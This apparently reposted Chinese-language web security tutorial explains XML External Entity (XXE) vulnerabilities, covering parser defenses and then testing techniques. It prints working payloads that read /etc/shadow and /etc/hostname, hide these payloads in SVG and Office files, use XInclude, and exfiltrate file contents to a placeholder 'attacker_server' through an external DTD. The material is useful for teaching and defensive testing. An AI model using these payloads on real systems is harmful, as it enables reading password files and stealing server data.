web安全101之如何理解XXE?
前置知識
XXE如何理解?
它是可擴展標(biāo)記語言 ( XML) 用于存儲和傳輸數(shù)據(jù)。
通常始于異步JavaScript和XML技術(shù)(ajax技術(shù)):網(wǎng)頁應(yīng)用能夠快速地將增量更新呈現(xiàn)在用戶界面上,而不需要重載(刷新)整個頁面。
目前JSON的使用比XML更加普遍。JSON和XML都被用于在Ajax模型中的XML技術(shù)。
這種標(biāo)記語言允許開發(fā)人員定義和表示任意數(shù)據(jù)結(jié)構(gòu)的HTML。
以下為定義屬性和值的Security Assertion Markup Language(SAML)語言
<saml:AttributeStatement><saml:Attribute Name="username"> # 定義屬性<saml:AttributeValue> # 定義值vickieli</saml:AttributeValue></saml:Attribute> </saml:AttributeStatement>XML 格式廣泛用于 Web 應(yīng)用程序的各種功能,包括身份驗證、文件傳輸和圖像上傳,或者只是將 HTTP 數(shù)據(jù)從客戶端傳輸?shù)椒?wù)器并返回。
XML 文檔可以包含 文檔類型定義 ( DTD) ,它定義了 XML 文檔的結(jié)構(gòu)及其包含的數(shù)據(jù)。
注意:&file; 是實體,而不是外部實體。
這些DTD可以從外部加載或在文件本身的DOCTYPE標(biāo)簽中聲明
以下是一個DTD,它定義了一個名為file的XML實體
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file "Hello!"> ]> <example>&file;</example> # &file; = Hello!我們可以將XML的實體,理解于類似編程語言中的變量:即,&file; = Hello!
XML 文檔還可以使用外部實體通過 URL 訪問本地或遠程內(nèi)容。
當(dāng)語法中使用SYSTEM 關(guān)鍵字時,則該實體是外部實體,其值將從URL加載
URL可以從本地文件系統(tǒng)中加載,也可以從互聯(lián)網(wǎng)中加載
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "file:///example.txt"> ]> <example>&file;</example> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "http://example.com/index.html"> ]> <example>&file;</example>【查看資料】
實體與外部實體
我們知道了,XML外部實體的由來,也能夠區(qū)分它們的一紙之隔(有沒有語法SYSTEM 關(guān)鍵字的定義)
不管是什么實體(如果用戶可以控制 XML 實體或外部實體的值),則可以基于xml技術(shù)后的各種網(wǎng)站業(yè)務(wù)功能點(比如,實際網(wǎng)站在使用此技術(shù)上傳文件)或者此技術(shù)的解析引擎來產(chǎn)生各種漏洞。
已知的威脅來自于兩點
1.攻擊者可以控制實體的值。
2.xml解析器錯誤的配置為從輸入的地方讀取xml文檔時解析和評估 DTD,攻擊者可以聲明自己的外部實體以實現(xiàn)惡意結(jié)果。
此類攻擊稱為 XML 外部實體攻擊,或 XXEs。
防御
防止 XXE 就是限制 XML 解析器的功能。因為 XXE 攻擊需要 DTD 處理,應(yīng)該盡可能禁用 XML 解析器上的 DTD 處理。
如果無法完全禁用 DTD,您可以禁用外部實體、參數(shù)實體。
為了防止基于 XXE 的 DoS,您可以限制 XML 解析器的解析時間和解析深度。 您還可以完全禁用實體的擴展。
禁用 DTD 處理和配置解析器行為的機制因使用的 XML 解析器而異。
比如:PHP XML 解析器,需要設(shè)置 libxml_disable_entity_loader 為 TRUE來禁用外部實體。
其他語言的最佳配置與實踐請參考o(jì)wasp備忘單,以及各種官方文檔與靜態(tài)分析軟件的官網(wǎng)文檔
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md
甲骨文的最佳實踐建議【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
靜態(tài)代碼分析sonarsource的最佳實踐建議
https://rules.sonarsource.com/java?search=XXE
另一條防御角度是輸入驗證,黑白名單等
為了防止盲XXE,可以禁止出站的網(wǎng)絡(luò)流量。
XXE的特征值
在使用bp基于功能點的觀察與抓包時,<?xml是最明顯的一個提示,告訴您該站點在使用XML技術(shù)
還要注意base64編碼,LD94bWw,表示<?xml
還可以強制應(yīng)用程序解析 XML 數(shù)據(jù)。即,網(wǎng)站明確的表現(xiàn)為在收發(fā)json數(shù)據(jù),那能不能將此數(shù)據(jù)交換強制置為xml技術(shù)?配置上的失誤與一些不安全的默認(rèn)項,使其變?yōu)楝F(xiàn)實。
修改content-type頭,強制輸入xml格式的數(shù)據(jù)【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
Content-Type: text/xml Content-Type: application/xml意識中,遇到的每一個功能點都假設(shè),思維中思考此處的數(shù)據(jù),后臺可能會接收與處理xml格式的數(shù)據(jù)。
經(jīng)典的XXE測試手法
顯注解析與其他注入類漏洞沒有什么本質(zhì)上的區(qū)別,就是放置payload,響應(yīng)包觀察;盲注與其他類型的漏洞也沒什么本質(zhì)上的區(qū)別,使用第三方可控的服務(wù)器輔助觀察,比如dnslog,內(nèi)網(wǎng)搭建測試服務(wù)器等,觀察訪問日志。
測試SYSTEM的外部實體,是否能被解析;是否能從本地加載;是否能從外部URL加載。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "Hello!"> ]> <example>&test;</example>如果SYSTEM定義的外部實體都無法解析,那還是別亂懟了。人家在一開始就已經(jīng)將DTD配置為最佳防御策略了。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "file:///etc/hostname"> ]> <example>&test;</example>SYSTEM語法上的其他語法可選項,比如PUBLIC語法, "abc"是給解析器看的,與&test;關(guān)聯(lián)起來,將后面的值給它。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test PUBLIC "abc" "file:///etc/hostname"> # "abc" 為標(biāo)識ID,給解析器看的。它將abc與&test;關(guān)聯(lián)起來,并將payload替換給&test; ]> <example>&test;</example>測試盲XXE
通過讓目標(biāo)服務(wù)器向攻擊者的服務(wù)器發(fā)出請求并使用泄露的信息來竊取數(shù)據(jù)。
確認(rèn)服務(wù)器是否可以出站,訪問到攻擊者的服務(wù)器
關(guān)于dmz區(qū)域的防火墻流量的限制:80,443,53等基礎(chǔ)依賴端口先行測試。因為網(wǎng)站業(yè)務(wù)需求,它自己就很可能需要從其他地方讀取其他圖片,js,css等資源。防火墻把所有的都禁止了,資源還如何加載進來。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "http://attacker_server:80/xxe_test.txt"> ]> <example>&test;</example>在不同的文件類型中插入 XXE payload
除了在 HTTP 請求正文上測試 XXE 之外,您還可以嘗試將包含 XXE payload的文件上傳到服務(wù)器。
網(wǎng)站可能限制了可以上傳的文件類型,此時可以在不同的文件類型中插入 XXE payload
這里僅示例幾個,其他文件類型可以自行搜一搜
svg文件,記事本打開編輯
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY test SYSTEM "file:///etc/shadow"> ]> <svg width="500" height="500"><circle cx="50" cy="50" r="40" fill="blue" /><text font-size="16" x="0" y="16">&test;</text> </svg>辦公文件都是壓縮文件
Microsoft Word 文檔( .docx 文件)、PowerPoint 演示文稿 ( .pptx ) 和 Excel 工作表 ( .xlxs )
修改后綴名為zip,插入payload,打包還原【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
可以簡單地將payload插入 /word/document.xml 、 /ppt/presentation.xml 或 /xl/workbook.xml 。 最后,將檔案重新打包為 .docx 、 .pptx 或 .xlxs 格式。
linux中的zip還原辦公文檔
XInclude攻擊
有時無法控制整個 XML 文檔或編輯 XML 文檔的 DTD。 但是,如果目標(biāo)應(yīng)用程序接受用戶輸入并將其插入到后端的 XML 文檔中,仍然可以利用 XXE 漏洞。
XInclude 是一個特殊的 XML 特性,它從名為 xi:include 的單個 XML 標(biāo)記構(gòu)建一個單獨的 XML 文檔。如果可以控制傳遞到 XML 文檔中的單個未經(jīng)處理的數(shù)據(jù),就可以在該值中放置 XInclude 攻擊。
輸入點payload如下,響應(yīng)包觀察特征值
引用http://www.w3.org/2001/XInclude命名空間,以識別xi:include標(biāo)簽的功能性特殊含義
<example xmlns:xi="http://www.w3.org/2001/XInclude"> # 引用http://www.w3.org/2001/XInclude命名空間,以識別xi:include標(biāo)簽的功能性<xi:include parse="text" href="file:///etc/hostname"/> </example>使用參數(shù)實體拼湊多態(tài)性payload
這種攻擊可能不起作用,因為大多數(shù)解析器不允許外部實體包含在其他外部實體中。
file包含在exfiltrate中,這種攻擊可能不起作用。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY file SYSTEM "file:///etc/shadow"><!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file;"> ]> <example>&exfiltrate;</example>XML DTD 有一個稱為參數(shù)實體的特性。參數(shù)實體是只能在 DTD 內(nèi)的其他地方引用的 XML 實體,它從外部加載DTD。用百分號 (%) 字符聲明和引用的。
解析器遇到符號 %,才將解析方式理解為外部DTD的模式。內(nèi)部還是外部的DTD,由%于解析器中觸發(fā)。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % file SYSTEM "file:///etc/shadow"> <!ENTITY % ent "<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # %百分號的十六進制%ent;%exfiltrate; ]>根據(jù) XML 規(guī)范,在內(nèi)聯(lián) DTD(在 DOCTYPE 標(biāo)記內(nèi)指定的 XML 文檔中的 DTD)和外部 DTD(在別處托管的單獨 DTD)中,參數(shù)實體的處理方式不同。在內(nèi)聯(lián) DTD 中,不能在標(biāo)記中引用參數(shù)實體,因此該行不起作用:<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>,而在外部 DTD 中,不存在這樣的限制。
要通過盲XXE測試的話,需要在攻擊者服務(wù)器上準(zhǔn)備好xxe.dtd文件。注意:這是直接盲測發(fā)給服務(wù)器的請求,引誘服務(wù)器加載http://attacker_server/xxe.dtd
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">%xxe; ]>然后將payload編寫于xxe.dtd文件中,使用%或者不帶%等一切可行的payload來進行測試。注意:以下才是攻擊者服務(wù)器上面準(zhǔn)備好的payload,具體危害是讀取
file:///etc/shadow文件。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE example [<!ENTITY % file SYSTEM "file:///etc/shadow"> <!ENTITY % ent "<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> # %百分號的十六進制%ent;%exfiltrate; ]>將dtd文件payload部署于攻擊者服務(wù)器的示例
關(guān)于返回數(shù)據(jù)的格式化問題
如果您嘗試讀取特定格式的文件,則 XXE 數(shù)據(jù)泄露會變得更加復(fù)雜。
例如尖括號 (<>)、引號 (" 或 ') 和與號 (&)等各種特殊符號,它們在返回數(shù)據(jù)的時候可能會被其他東西特殊對待與處理掉。
在 XML 文件中,包裹在 CDATA(字符數(shù)據(jù))標(biāo)簽中的字符(<![CDATA[" "]]>)不會被視為特殊字符。
<!ENTITY % file SYSTEM "file:///passwords.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % ent "<!ENTITY % exfiltrate'http://attacker_server/?%start;%file;%end;'>"> %ent; %exfiltrate;感謝耐心的閱讀到了這里。關(guān)注我,持續(xù)更新。共勉。
私我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
總結(jié)
以上是生活随笔為你收集整理的web安全101之如何理解XXE?的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【内网渗透】利用非常规手段突破安全策略上
- 下一篇: 【安全漏洞】从补丁追溯漏洞触发路径